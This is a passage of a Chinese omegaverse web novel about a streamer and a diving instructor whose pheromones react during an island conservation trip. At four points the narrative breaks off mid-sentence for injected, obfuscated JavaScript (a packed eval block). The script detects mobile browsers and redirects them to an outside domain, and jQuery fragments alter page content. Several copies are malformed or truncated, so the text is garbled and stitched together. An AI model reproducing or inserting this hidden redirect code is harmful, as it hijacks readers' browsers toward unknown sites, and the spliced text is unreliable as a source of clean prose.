桃酥被他搂得踉跄了一下,伸手拍开他作乱的手,余光瞥见梨砚手里还捏着那顶帽子,挑眉道:“要还帽子?等会儿下船风更大,小心被吹跑。” 梨砚指尖一顿,刚要说话,就见桃楠从屋里探出头,晃了晃手里的薯片,冲梨砚笑了笑:“梨教练你鼻子好了?刚南阳还说要给你找冰袋敷呢。” 甜橙橙抱着毛绒海豚玩偶,像颗小炮弹似的从旁边更衣室窜出来:“就告诉我呗!”她拽着时夏的衣角晃来晃去,眼睛亮晶晶的。 “快跟我说说你们上次住在这里时,在床上……哦不,在房间里的趣事嘛!我要积累素材,给我的CP写小剧场!” 时夏脸“腾”地红了,伸手捏了捏她的脸颊:“再乱说打你屁股了。” 南阳在旁边低笑,伸手按住甜橙橙金黄的蛋卷头:“别闹他了,再闹他该不好意思了。” 甜橙橙扒拉着着按住自己脑袋的大手,开玩笑道:“就要听就要听!上次你们说这里房间隔音不好,是不是被谁听到过什么?” 桃楠在旁边看得直乐,冲梨砚扬了扬下巴:“徐导说准备靠岸了。帽子先放你那吧,我手忙着呢。”他说着还比划了个“嘘”的手势,显然是被甜橙橙的话吸引了注意力。 梨砚捏着帽檐的手指松了松,看着时夏红着脸要逮甜橙橙、南阳笑着护着小姑娘的热闹画面,心里那点“还帽子”的念头忽然就淡了。 留着做个纪念好了。 陈辰在旁边看得津津有味,撞了撞他的胳膊:“走了走了,下船。”说着就拽着桃酥往甲板跑。 梨砚跟在后面,把帽子顺手塞进帆布包侧袋,游艇已经靠岸,跳板“哐当”一声搭在码头。 徐导站在灯下扯着嗓子叮嘱:“都记好了啊!明早八点在别墅前院集合,不许迟到!回去都早点休息。 志愿者们回自己之前的房间就行,艺人老师的房间我们提前收拾好了,你们跟着南阳走进行。” “知道了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326486|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐导!”南阳扬声应着,冲身后的人摆摆手,“跟我来。” 明星和志愿者们三三两两结伴往别墅走,甜橙橙像只小尾巴似的跟在时夏和南阳身后,嘴里还念念有词地记着什么。 桃楠被陈辰勾着肩膀走在前面,时不时回头看一眼小姑娘敬业的傻样,早把帽子的事忘到了九霄云外。 梨砚走在最后,手里拎着帆布包,那顶黑色棒球帽被他顺手扣在了包带上,随着脚步轻轻晃动。 蓝发被夜风吹得有些凌乱,鼻尖的红痕已经淡了许多。他望着前面甜橙橙蹦跳的身影,时夏无奈的侧脸和南阳温柔的目光,心里那点“保持距离”的念头又开始摇摆。 “梨砚。” 身后突然传来一声低唤,带着点冷硬的调子。梨砚脚步一顿,回头就看见秦尤站在路灯下,身影被拉得很长,眼神沉沉地盯着他包上的帽子。 秦尤几步走上前,目光像钉子似的钉在那顶黑色棒球帽上,眉头拧得很紧:“这帽子怎么在你那?” 梨砚低头瞥了眼包带,指尖无意识地摩挲着帽檐,语气平淡:“桃楠借我的。” “借?”秦尤冷笑一声,逼近半步,声音压得更低,“我给桃楠的东西,你倒是会借。”他眼神锐利地扫过梨砚,“你忘了自己之前怎么说的?” 海风突然变大,吹得两人衣摆猎猎作响。梨砚沉默了几秒,被秦尤这样盯着,他想起船舱里桃楠泛红的眼角、甜橙橙追着问趣事的雀跃、时夏和南阳之间的温柔互动,忽然觉得喉头发紧。 “我没乱来。”梨砚避开秦尤的目光,伸手把帽子从包带上解下来,指尖捏着帽檐转了半圈,“风大,他借我戴了会儿。” 仅此而已。 “最好是这样。”秦尤的语气没缓和,眼神里带着警告,“梨砚,别忘了你答应过的事。遵守承诺,保持距离,别给大家添麻烦。” 说完,他没再看梨砚,转身快步追上前面的人群,远远能听见甜橙橙喊“秦哥快来!我给你讲我新构思的剧情。”的声音。 梨砚站在原地,手里捏着那顶还带着淡淡桃花香的帽子,海风把远处的笑声吹得很散,却字字清晰地落在心里。 他抬头望向不远处那栋亮着暖光的海边别墅,二楼的某间窗户里,隐约闪过一道身影。 梨砚指尖用力,帽檐被捏出一道浅浅的折痕。他深吸了一口带着咸味的夜风,把帽子重新扣回包带上,迈开脚步往别墅走。 承诺他记得。距离……他也会试着保持。 只是那股萦绕在鼻尖的桃花香,混着远处隐约传来的笑声,像生了根似的,怎么也散不去。 14. 融合 桃楠上楼推开房间门,暖黄的灯光顺着门缝漫进来,将走廊的凉意隔绝在外。他随手把帆布包扔在床尾,转身瞥见窗边的月光下,楼下石板路上站着一道熟悉的身影。 是梨砚。 他站在路灯的阴影里,蓝发被夜风吹得微微晃动,发梢的蓝色在月色中像浸了海水的宝石。手里拎着帆布包,包带上那顶黑色棒球帽随着动作轻轻摇摆。 桃楠下意识凑近窗户,琥珀色的瞳孔在玻璃倒影里亮了亮,看见梨砚仰头望了一眼别墅二楼,像是在确认什么。 “还没回房间吗?”桃楠低声自语,直到那道身影消失在拐角,他才收回目光。 从船上下来后,后颈的腺体就一阵阵的传来熟悉的沉坠感,像是被海风浸得发僵。 桃楠没太在意,转身去浴室冲澡,热水浇在身上时,腺体的酸胀感稍稍缓解,却总觉得鼻尖还萦绕着一丝若有若无的梨花香。 他对着镜子抹了把脸,镜中少年的桃花眼微微泛红,浅棕色发丝湿哒哒地贴在额角,像只刚被雨淋湿的猫。 “大概是游艇上沾到的吧。”他喃喃自语,换好米白色睡衣出来时,头发还带着湿漉漉的潮气,擦着头发走到书桌旁,把手机卡在支架上,点开了直播。 “晚上好~我刚洗完澡,头发还没擦干,先开个直播剪剪素材。”他对着镜头晃了晃手里的毛巾,弹幕立刻热闹起来。 【我们桃桃洗完澡好清爽!睡衣颜色和人一样温柔。】 【终于等到了直播!今天玩得怎么样?有给我们拍视频吗?】 【头发湿漉漉的好可爱!但是快去吹干,不然要感冒了,妈妈会心疼的。】 桃楠笑着拿起吹风机快速吹了半干,随手把吹风机扔到床上:“没事,海岛晚上不冷。今天剪个小片子,算是这次海岛特辑的先导片,大家浅浅期待一下。” 他点开剪辑软件,脖颈后腺体的沉痛感从刚才洗澡时就开始冒头,热水冲过也没缓解,此刻随着低头的动作愈发明显。 他拖过素材文件夹,指尖在触控板上滑动,将字幕打上去。 腺体的酸胀感像潮水似的一阵阵涌来,他咬着下唇,装作不经意地往后靠了靠,让椅背轻轻抵住后颈。 【剪视频啦!蹲一个快速出片现场】 【先导片大概是什么风格?是日常vlog还是活动记录?】 【楠楠脖子怎么一直往后靠?是不是不舒服啊?】 “没事,坐久了有点僵。”桃楠含糊应着,加快了剪辑速度,把一段海浪声拖进音频轨,“风格嘛……算是记录一下海岛初体验,半小时应该能剪完。” 腺体的肿胀感突然尖锐起来,他吸了口气,手指在键盘上敲得飞快,额角悄悄渗出细汗。 没人知道他正强忍着不适赶进度,弹幕里的讨论还在继续,有人猜先导片里的嘉宾,有人催他注意休息。 当他点击“发布”按钮时,手机屏幕上的时间刚好跳到凌晨两点。 “搞定!海岛特辑先导片已经发啦,大家记得去看。”他揉了揉后颈,语气带着点疲惫的雀跃,“说个小目标吧,要是明天晚上之前涨粉十万,海岛特辑我就拍双人视频。” 【双人视频?!是和谁的合作啊?】 【刚去看了先导片!是哪个救了海豚的蓝发潜水教练吗?】 【我也去看完回来了,只能说梨教练帅过头了。】 【其实我从先导片里看出一点不对劲……能说吗?】 桃楠刚要关直播,就看见弹幕里炸开的猜测。他对着镜头笑了笑,干脆坐直身体:“你们眼睛够尖的啊。没错,是梨砚教练,要是真能涨粉十万,我明天就去找他谈合作,拍正经的双人视频。” 说完,他朝镜头挥了挥手:“好了好了,你们加油,我先下了,拜拜!” 关掉直播后,房间里瞬间安静下来,桃楠腺体的酸痛感在放松后猛地加重,他捂着后颈趴在桌上缓了缓。 是发情期提前了吗?不能吧…… 桃楠扶着桌沿站起身时,后颈的腺体像是被塞进了滚烫的棉絮,每动一下都牵扯着神经发颤。 他踉跄着摸到床头,指尖刚碰到凉丝丝的墙壁,一股热意就从脊椎窜上来,顺着血管烧得四肢发软。 这个反应很像发情期的前兆。 他咬着牙摸到浴室,冰凉的瓷砖贴着膝盖时,才勉强撑住摇摇欲坠的身体。 花洒被拧到最大,冷水劈头盖脸浇下来,湿透的睡衣紧紧贴在皮肤上,却压不住从骨头缝里渗出来的燥热。 “哈……”他抵着瓷砖滑坐在地,后颈的腺体像被无数根细针反复穿刺,酸胀感混着空虚的痒意,逼得他无意识地呜咽出声。 为什么会这样?明明离上次发情期才过去半个月,可身体里那股渴望Alpha信息素的冲动,却比任何一次都要汹涌。 这不对劲…… 他模糊地想起傍晚在海边,梨砚的手指碰到他手腕时的触感,那时似乎也闻到过一丝极淡的梨花味…… 念头刚起,鼻腔里突然闯入一股浓烈的香气。 不是若有似无的浅淡花香,是带着清冽冷感的Alpha信息素,像漫山遍野的梨花在深夜骤然盛放,带着不容抗拒的侵略性,精准地钻进他发烫的腺体。 到底怎么回事儿! 桃楠浑身一颤,本能地绷紧脊背,却又控制不住地微微扬起后颈,像是在渴求更多的安抚。 “唔……”他蜷缩起身体,冷水顺着发梢滴落在锁骨,可皮肤下的热度却烧得更凶。 下一秒,自己体内的桃花味信息素不受控制地翻涌而出,温柔的桃花香气撞上清冽的梨花味,在狭小的浴室里交织成一种奇异的甜腻。 像是初春的桃花与晚开的梨花在枝头相撞,花瓣碾出蜜来,又混着点青涩的果味,缠绵地钻进每一寸发疼的腺体。 酸胀感奇迹般地缓解了。 桃楠闭着眼靠在冰冷的瓷砖上,后颈的腺体被两种信息素包裹着,那种被填满的暖意顺着血液流遍全身,让他紧绷的神经渐渐松弛下来。 他甚至能清晰地分辨出两种味道的交融,梨花的冷香中和了桃花的甜腻,桃花的软绵又柔化了梨花的疏离,像天生就该这样缠绕在一起。 他无意识地蹭了蹭颈后,那里还残留着信息素交融的余温,身体里的燥热在缓慢消退,连呼吸都变得平稳了些。 就在这时,那股浓烈的梨花味毫无征兆地断了。 像是被人猛地掐断了源头,清冽的香气瞬间从鼻腔里抽离,浴室里只剩下他自己的桃花味在空荡地飘散。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326487|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷水还在哗哗地浇着,可他却觉得自己像被丢进了更冷的冰窖里。 所以刚才那股信息素……是梨砚的吗? 他攥紧湿漉漉的睡衣领口,后颈的腺体还在隐隐发烫,但已经没有对信息素的那股强烈渴望了。 门外的走廊静悄悄的,只有浴室里的水声,和他压抑不住的喘息。 桃楠在浴室里缓了很久,直到后颈的灼痛感退成钝钝的酸胀,才撑着墙壁站起来。 冷水把睡衣泡得沉重,贴在身上像层冰壳,他哆哆嗦嗦换了身干净睡衣,头发没擦干就跌回了床上,脑袋刚沾到枕头就陷入昏沉。 半梦半醒间,鼻尖似乎还萦绕着那缕转瞬即逝的梨花甜香,他无意识地往被子里缩了缩。 对面房间。 梨砚刚从浴室出来,头发还在滴水,水珠顺着线条利落的下颌线滑进浴袍领口。他走到桌边坐下,指尖捏着支未开封的腺体修复剂,金属针管在暖黄灯光下泛着冷光。 消毒棉擦过后颈时,他几不可察地蹙了下眉,那里的腺体还在隐隐发烫,像是被什么东西反复燎过。 针尖刺破皮肤,微凉的药剂缓缓推入,酸胀感确实缓解了些。梨砚拔掉针管,随手把空针管扔进了垃圾桶,视线却落在桌角那顶黑色棒球帽上。 布料上似乎还沾着点淡淡的气息,不是海水的咸腥,是种温软的甜,像晒过太阳的桃花瓣。 他盯着帽子看了很久,指尖无意识地摩挲着冰凉的桌沿。就在这时,一股汹涌的桃花香毫无征兆地钻进鼻腔。 桃楠的信息素?为什么会突然这么浓烈?是因为共生反应要结束了吗? 不是记忆里的浅淡余味,是带着灼热温度的Omega信息素,甜得发腻,像熟透的桃花瓣被揉碎在掌心,混着点潮湿的水汽,精准地缠上他后颈的腺体。 梨砚浑身一僵,药剂带来的镇定瞬间被冲散,身体里突然涌起一股陌生的燥热,连呼吸都变得粗重起来。 梨砚这边,两股信息素也和对门一样,融合在了一起,然后钻进腺体里,折磨脆弱的Alpha。 不知道过了多久,甜腻的桃花味就像被风吹散的雾,骤然消失在空气里。 梨砚的呼吸猛地一滞,后颈的腺体像是被抽空了似的,酸胀感带着尖锐的痒意反扑而来。他下意识地伸手,一把将桌上的棒球帽攥进掌心。 粗糙的帆布贴着掌心,残留着极淡极浅的味道是桃楠身上那种温软的甜,混杂着阳光的清香,比刚才汹涌的信息素更柔和,却也更勾人。 他不满足地将帽子往鼻尖凑了凑,闭上眼睛深吸一口气,像是要把那点微弱的气息全吸进肺里。 布料上的味道很淡,却奇异地安抚了腺体的灼痛。梨砚捏着帽子站起身,脚步有些发沉地走到床边,掀开被子钻了进去。 他把帽子紧紧抱在怀里,脸颊贴着布料,鼻尖蹭过那片残留着浅淡香气的地方,身体里翻涌的燥热才慢慢平息了些。 黑暗中,他睁着眼望着天花板,怀里的帽子被攥得发皱。后颈的腺体还在隐隐发烫,可那点从布料上偷来的温柔气息,却成了此刻唯一的慰藉。 窗外的月光透过窗帘缝隙照进来,在地板上投下一道细长的影子,像一根无形的线,悄悄连着对面房间里沉睡着的人。 15. 海豚挂件 半梦半醒间,桃楠的意识像被卷入柔软的漩涡,周围的光影渐渐模糊成记忆里的模样。 他站在自家院子的泳池边,午后的阳光暖融融地洒在身上,空气里飘着栀子花的甜香。泳池的水蓝得像块剔透的玻璃,粼粼波光晃得人眼睛发花。 “阿楠,来坐这儿。”身旁传来温和的声音,桃楠转头,看见林霖坐在泳池边的白色躺椅上,天生的卷发被阳光晒得泛着浅棕色,脸上还带着未褪去的少年气,笑起来时眼角会弯成和自己如出一辙的弧度。 他挨着林霖坐下,脚边的池水偶尔溅起细小的水花,凉丝丝地打在脚踝上。对岸有人正在游泳,黑色的身影在水里像条灵活的鱼,划水的声音清脆又规律。 桃楠看见水里的人正朝着他们的方向游来,水波被分开两道清晰的轨迹。很快,那道身影游到了他脚边,哗啦一声浮出水面,水珠顺着利落的下颌线滚落,发梢还在滴着水。 “怎么样,哥哥厉不厉害?”对方仰起脸问他,声音隔着水汽有些模糊,阳光在那人脸上投下晃动的光斑,桃楠怎么也看不清他的五官,只觉得那双眼眸亮得像浸在水里的星辰。 他没说话,只是笑着从口袋里掏出个东西,那是个小小的海豚挂件,蓝白相间的塑料外壳。 这是林爸在他小时候给他。 “哥哥,这个送给你。”他把挂件递过去,指尖刚要碰到对方伸出的手,泳池的水波突然剧烈地晃动起来,刺眼的阳光瞬间变得灼热,耳边的声音也开始扭曲。 林霖在身旁说了些什么,他听得断断续续,只捕捉到几个模糊的音节。紧接着,他的脑袋像被什么东西狠狠攥住,疼得他眼前发黑。 “唔……” 桃楠猛地睁开眼,窗外的晨光正透过窗帘缝隙照在床尾,房间里静得能听见自己的心跳声。他抬手按了按太阳穴,钝钝的疼痛感还残留在额角,梦里的阳光和水声仿佛还在耳边回响。 泳池、林霖、模糊的身影、海豚挂件……那些碎片般的画面在脑海里闪回,却怎么也拼不完整。 他坐起身,后颈的腺体还在隐隐作痛,刚才梦里的灼热感似乎还没完全散去。 “怎么做这种梦了?”桃楠低声自语,指尖无意识地摩挲着颈后,那里的皮肤还带着点发烫的余温。 他掀开被子下床,赤脚踩在微凉的地板上,走到窗边拉开窗帘。 刹那间,整片辽阔的蓝毫无预兆地撞进眼里,窗外是铺向天际的海洋。 晨雾尚未散尽,海面泛着一层朦胧的银辉,远处的浪花卷着细碎的泡沫,一波波漫过船板,又带着潮湿的凉意退去,哗哗的浪声温柔地漫进房间,混着咸涩的海风。 他站在落地窗前打了个哈欠,拖着疲惫的去浴室简单冲了个澡。 热水流过皮肤时,鼻尖仿佛又萦绕起那缕梨花香,还有信息素骤然交融时那阵奇异的安抚感。 洗完澡后,桃楠对着镜子擦头发,镜中的omega脸色还有点苍白,桃花眼尾带着熬夜留下的红血丝。 在这座每天都要参与生态观测的海岛别墅里,这样的疲惫本该来自烈日或海风,而非莫名的信息素波动。 “以防万一吧。”桃楠从行李箱翻出阻隔剂和阻隔贴。冰凉的药剂顺着后颈线条推注进去,细微的刺痛感传来时,竟奇异地带来一丝安心。 他又拿出一片阻隔贴,小心翼翼贴在腺体位置,指尖按了按边缘,确保在今天的沙滩清理活动中不会脱落。 收拾好自己后,桃楠换了件速干的浅蓝色短袖下楼。到餐厅的时候,餐桌上已经摆好了牛奶、三明治,还有刚切好的芒果和木瓜,都是岛上盛产的水果。 桃酥正端着牛奶从厨房出来,看见他时招呼道:“醒了?今天有你爱吃的海苔饭团。” “早啊,姐。”桃楠拉开椅子坐下,刚拿起筷子,就被桃酥拉住了手腕。 “你怎么贴阻隔贴了?”桃酥皱着眉摸了摸他的后颈,指尖避开贴纸的位置,“腺体不舒服?” “嗯,信息素有点不稳定。”桃楠含糊地应着,夹起饭团咬了一口,海苔的咸香压不住颈后的微凉。 斜对面的时夏探过头,看清阻隔贴上的兔子图案后,忍不住笑出声:“贴这么可爱的阻隔贴?” 旁边还迷糊着的甜橙橙也凑了过来,扒着桌子眨眼睛:“你怎么贴小兔子啊?不是不爱吃胡萝卜吗?” 桃楠:“哪来那么多讲究。” 他低头喝着海鲜粥,眼角的余光不经意扫过餐厅门口,那里正走进来几个刚晨跑回来的志愿者,梨砚的身影混在其中,白色T恤被汗水浸湿,正低头和旁边的陈辰说着什么。 桃楠的心猛地一跳,后颈贴着阻隔贴的地方仿佛又开始发烫。那股梨花味信息素到底是不是他?如果是的话………… “在发什么呆?”桃酥推了推他的胳膊,“你脸色看起来不太好,真撑不住就跟向导说一声,今天先休息。” 桃楠摇摇头,把嘴里的饭团咽下去:“没事儿,就是做了个乱梦有点累,不影响的。”他夹起一块芒果塞进嘴里,甜软的果肉压下了喉咙口的干涩。 桃酥还是不太放心,指尖又在他后颈轻轻按了按,确认阻隔贴没移位才松了手:“行吧,要是腺体疼得厉害千万别硬撑。对了,我今天吃完早饭就得走了。” “啊?这么快?”桃楠抬眼,“不是说要多待两天吗?” “俱乐部里临时加了训练计划,催着回去呢。”桃酥端起牛奶喝了一口,“我和陈辰一起。” 旁边的甜橙橙一听这话,立刻丢下手里的勺子,扑过去抱住桃酥的胳膊晃了晃:“姐,你怎么就要走了呀?我还没跟你学那个厉害的防身术呢!”小姑娘扁着嘴,“我一定会想你的。” “等结束了跟桃楠一起回京城玩,姐给你介绍我们俱乐部的Alpha。”桃酥笑着揉了揉她的头发,刚想再说点安慰的话,餐厅门口就传来陈辰的声音。 “是谁要陪老婆回去工作啊~”陈辰扒开甜橙橙的手,顺势揽住桃酥的肩膀,笑得一脸得意,“原来是我。” 甜橙橙被他扒开,气鼓鼓地瞪了他一眼,却被陈辰做的鬼脸逗得“噗嗤”笑了出来。 桃楠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326488|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光越过几人,落在陈辰身后的梨砚身上。对方刚晨跑完,额前的碎发还湿着,贴在额头上,脸色看着不太好,唇色比平时淡了些,眼下还有淡淡的青影,像是没休息好。 是因为昨天的信息素波动吗?桃楠心里忍不住猜测,指尖又下意识地蹭了蹭颈后的阻隔贴,那里的温度似乎又悄悄升了上来。 梨砚像是察觉到他的视线,抬眼朝他看过来,目光在他颈后的阻隔贴上停顿了半秒,随即移开,没什么表情地走到餐桌另一头坐下。 一顿早饭吃得还算安静,梨砚沉默地吃着东西,偶尔应和两句陈辰的问题。桃楠也没怎么说话,只埋头喝着粥,脑子里却反复回放着梦里的画面和梨砚刚才的眼神。 吃完早饭,大家陆续收拾好东西到门口集合。协会的工作人员已经在清点人数,节目组的摄像机也架了起来,几个艺人和秦尤正站在一旁低声交流着今天的任务。 晨雾已经散去,阳光穿透云层洒在海面上,将整片蓝色染成温暖的金,咸湿的海风卷着浪声扑面而来,带着新一天的气息。 桃楠站在人群里,后颈的阻隔贴隔着薄薄的衣料,传来微凉的触感,不远处的梨砚正抬眼望着海面,侧脸在晨光里显得有些模糊。 桃楠盯着梨砚的侧脸看了几秒后,脚步轻快地朝那边走过去。 “梨教练!”他在对方身后站定,声音里带着点微哑,“早啊。” 梨砚闻声转过头,目光落在他脸上,眼神比刚才在餐厅里柔和了些:“早。” “那个……”桃楠眨了眨眼睛,故意装出懊恼的样子,“我昨天光顾着剪视频了,把答应给你发的尼莫的视频和照片给忘了。” 他歪着脑袋笑了一下:“我今天晚上回去一定发给你,保证不鸽!” 梨砚的嘴角似乎几不可查地弯了一下:“没关系,我不急。” 桃楠又往前凑了凑,声音压低了些,带着点试探的小心翼翼:“那个……我今天早上起来有点不舒服,后颈的腺体还有点疼。” 他指了指自己颈后的阻隔贴,“等下巡岛组队的时候,我能不能跟着你啊?你经验多,我跟着你安全一点。” 海风带着咸湿的气息吹过,撩起梨砚额前未干的碎发,露出他清隽的眉眼。他看着桃楠带着点讨好的笑容,又瞥了眼他颈后那片小小的兔子图案阻隔贴,沉默了两秒,轻轻点了点头:“可以。” “真的?”桃楠眼睛一亮,连带着梦里残留的钝痛感都轻了不少,“谢谢梨教练,那我等下就跟工作人员说我们一组。” 梨砚“嗯”了一声,目光重新投向海面,只是这次,嘴角那抹浅淡的弧度似乎没再消失。阳光落在他挺直的鼻梁上,镀上一层温暖的金边。 不远处的徐导已经开始和协会的其他成员一起分组,桃楠赶紧朝那边跑了两步,又回头冲梨砚挥了挥手:“我去说一声,等我啊!” 梨砚看着他跑远的背影,指尖无意识地摩挲了一下自己的后颈,那里似乎还残留着昨晚信息素侵入时的灼热感,和眼前omega颈后那片微凉的阻隔贴,形成了奇妙的呼应。 16. 巡岛 分组很快确定下来,桃楠如愿和梨砚分到了一组。徐导站在队伍最前面,身边的莉莉安拿着扩音喇叭,开始详细讲解今天的巡岛注意事项。 “大家安静一下,我强调几点今天的重点事项。”莉莉安的声音透过喇叭清晰地传开,带着海风的微哑却格外有力。 “我们海洋动物保护协会的陆地巡岛,核心目的是监测海岛生态环境,排查可能危害海洋生物的隐患。今天的路线会覆盖海岛西侧的沙滩、植被区和海龟孵化基地,全程大概会很长,大家保持好体力。” 她顿了顿,抬手指向站在人群边缘的梨砚和另一个高瘦的男人:“特别介绍一下,我们今天的安全员是梨砚和南阳,两位都是经过培训和训练的,熟悉海岛地形和应急处理,大家遇到任何问题都可以第一时间联系他们。不过安全员也会和各组一起行动,确保能及时响应。” 南阳笑着朝大家挥了挥手,梨砚则微微颔首,目光平静地扫过在场的人。桃楠站在梨砚身侧,悄悄抬头看他,晨光里他的侧脸线条利落,下颌线绷得笔直,确实有种让人安心的力量。 “接下来是具体任务内容,”莉莉安翻开手里的记录本,“第一,沙滩区域要重点清理海洋垃圾,尤其是塑料瓶、渔网碎片这类易被海洋动物误食的杂物,记得分类装进用品包里的垃圾袋,可回收和不可回收要分开。 “第二,植被区观察是否有外来入侵物种,比如最近发现的‘薇甘菊’,看到后及时标记位置,不要直接拔除,避免汁液接触皮肤。” 她抬眼看向众人,语气严肃了些:“第三,也是今天最重要的任务,海龟孵化基地的监测。现在正值绿海龟产卵孵化期,基地里有几处正在孵化的巢穴,我们要检查围栏是否完好,有没有被海鸟或其他动物破坏的痕迹,还要记录沙温、湿度,这些数据会影响小海龟的孵化成功率。” “另外提醒几点安全须知,”莉莉安敲了敲喇叭,“岛上植被茂密,穿长袖长裤防蚊虫叮咬,用品包里有驱蚊水和防晒喷雾,每隔两小时补一次。遇到蛇虫不要惊慌,原地不动呼叫安全员,梨砚和南阳带了驱蛇粉。海边礁石区湿滑,拍照或观察时务必站稳,远离涨潮线。” 最后她举起手里的用品包晃了晃:“每个组的用品包统一发放,里面有垃圾夹、手套、记录本、笔、急救包、两瓶水和能量棒,大家拿到后检查一下是否齐全。现在各组派代表来领包,领完后跟着安全员到指定起点,我们九点准时出发。” 桃楠立刻举手:“我们组我去领!”他小跑着到张姐那里接过印着协会标志的蓝色背包,沉甸甸的分量压在肩上,心里却莫名踏实。 回到梨砚身边时,他献宝似的把背包递过去:“梨教练,用品包领来了,也看了清单,东西都是齐的。” 梨砚接过背包掂了掂,顺手拉开拉链检查了一遍:“嗯,走吧,我们的起点在海龟孵化基地附近的沙滩入口。” 两人并肩朝海边走去,晨光把他们的影子拉得很长,交叠着踩在松软的沙地上。 海风比清晨更暖了些,卷着远处的浪声和近处的草木清香,桃楠踩着梨砚的影子往前走,忍不住问:“梨教练,你以前经常来这种海岛做安全员吗?感觉你还挺熟悉的。” “嗯,之前也跟着协会干过,而且我在帕米兰群岛的本职工作是安全员。”梨砚的声音被风吹得很轻。 他回头看向桃楠:“海岛生态脆弱,一点小隐患都可能影响海洋动物生存,比如垃圾被冲进海里,海龟误食后会窒息,孵化基地的围栏破了,幼龟可能会被天敌捕食。” 桃楠点点头,想起梦里那个模糊的身影和海豚挂件,忽然觉得肩上的背包又重了些。 海洋希望的延续,在于海洋动物的保护,也在于人类的爱护。 跟着大部队走了没多久,他们就到了任务地点,桃抬头看向不远处的海龟孵化基地。 白色的围栏在阳光下格外显眼,几只海鸟正低空掠过沙滩,远处的海浪一次次温柔地漫上岸,仿佛在守护着这片藏着生命的沙地。 “我们今天一定要仔细检查,不能放过任何问题。”桃楠攥了攥拳头,眼里闪着认真的光。 梨砚侧头看了他一眼,嘴角的弧度又深了些:“好,一起。” 说话间,两人已经走到了沙滩入口,白色的指示牌上写着“海龟孵化基地区域,禁止喧哗”。远处的围栏后,隐约能看到覆盖着遮阳网的沙堆,那是海龟宝宝们正在努力破壳的家。 桃楠深吸了一口气,跟着梨砚跨过入口的木栏,正式开始了今天的巡岛任务。 跨过木栏后,沙滩的细沙瞬间漫过脚踝,带着清晨阳光晒过的微暖。桃楠低头踢了踢脚下的沙子,看见细小的贝壳碎片混在沙粒里。 梨砚已经打开用品包,拿出白色手套递给桃楠:“先戴手套,沙滩上可能有碎玻璃或尖锐的贝壳。”他自己也利落地戴上手套,指尖划过垃圾夹的握柄,动作熟稔得像是做过无数次。 桃楠接过手套戴好,看着梨砚弯腰捡起一块被海浪冲上岸的塑料片,垃圾夹“咔嗒”一声合上,动作干脆又利落。 “我们先沿着沙滩清理垃圾,顺便观察有没有海龟爬行的痕迹。”梨砚直起身,指了指沙滩边缘的植被,“绿海龟产卵前会爬上岸找合适的沙地,会留下很宽的爬行轨迹,看到的话要及时记录位置。” 桃楠点点头,跟着他沿着海岸线慢慢往前走。海浪退去后留下的湿软沙地上,真的能看到不少杂乱的脚印,有海鸟的爪印,有游客留下的鞋印,还有些模糊的、像是大型爬行动物留下的痕迹。 “梨教练,你看这个是不是?”桃楠蹲下身,指着一道宽约半米的轨迹,沙地上的凹陷边缘还带着被压平的草叶,“这痕迹好深,应该是很大的动物留下的。” 梨砚走过来蹲在他身边,指尖轻轻拂过沙地上的痕迹,眼神专注:“是海龟的爬行轨迹,看这深度和宽度,应该是成年绿海龟留下的。” 他抬眼看向不远处的孵化基地,“可能是来考察产卵地的,我们标记一下位置。” 桃楠赶紧从用品包里翻出记录本和笔,蹲在地上认真记下坐标和轨迹特征,笔尖划过纸面的沙沙声混着海浪声,格外清晰。 梨砚在一旁补充细节:“轨迹终点通向植被区,说明它可能更倾向于在有遮挡的地方产卵,等下到植被区要重点留意。” 清理完沙滩区域,两人沿着围栏走向海龟孵化基地。靠近基地时,海风里似乎都带上了小心翼翼的气息,连海浪声都变得轻柔了些。 基地门口挂着块小木牌,上面写着“孵化期:7-8月,目前监测巢穴6处”。 梨砚从包里拿出测温仪和湿度计,动作轻缓地走到第一个巢穴旁。巢穴被半透明的遮阳网覆盖着,下面是松软的细沙,沙面上插着块小牌子,写着“编号01,产卵日期6月15日,预计孵化日期8月20日”。 “我来测沙温,你记录?”梨砚侧头问桃楠,眼底的认真里带着点不易察觉的温和。 “好!”桃楠立刻翻开记录本,握紧笔准备记录。他看着梨砚将测温仪的探头轻轻插进沙里,动作轻得像是怕惊扰了沙子下面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 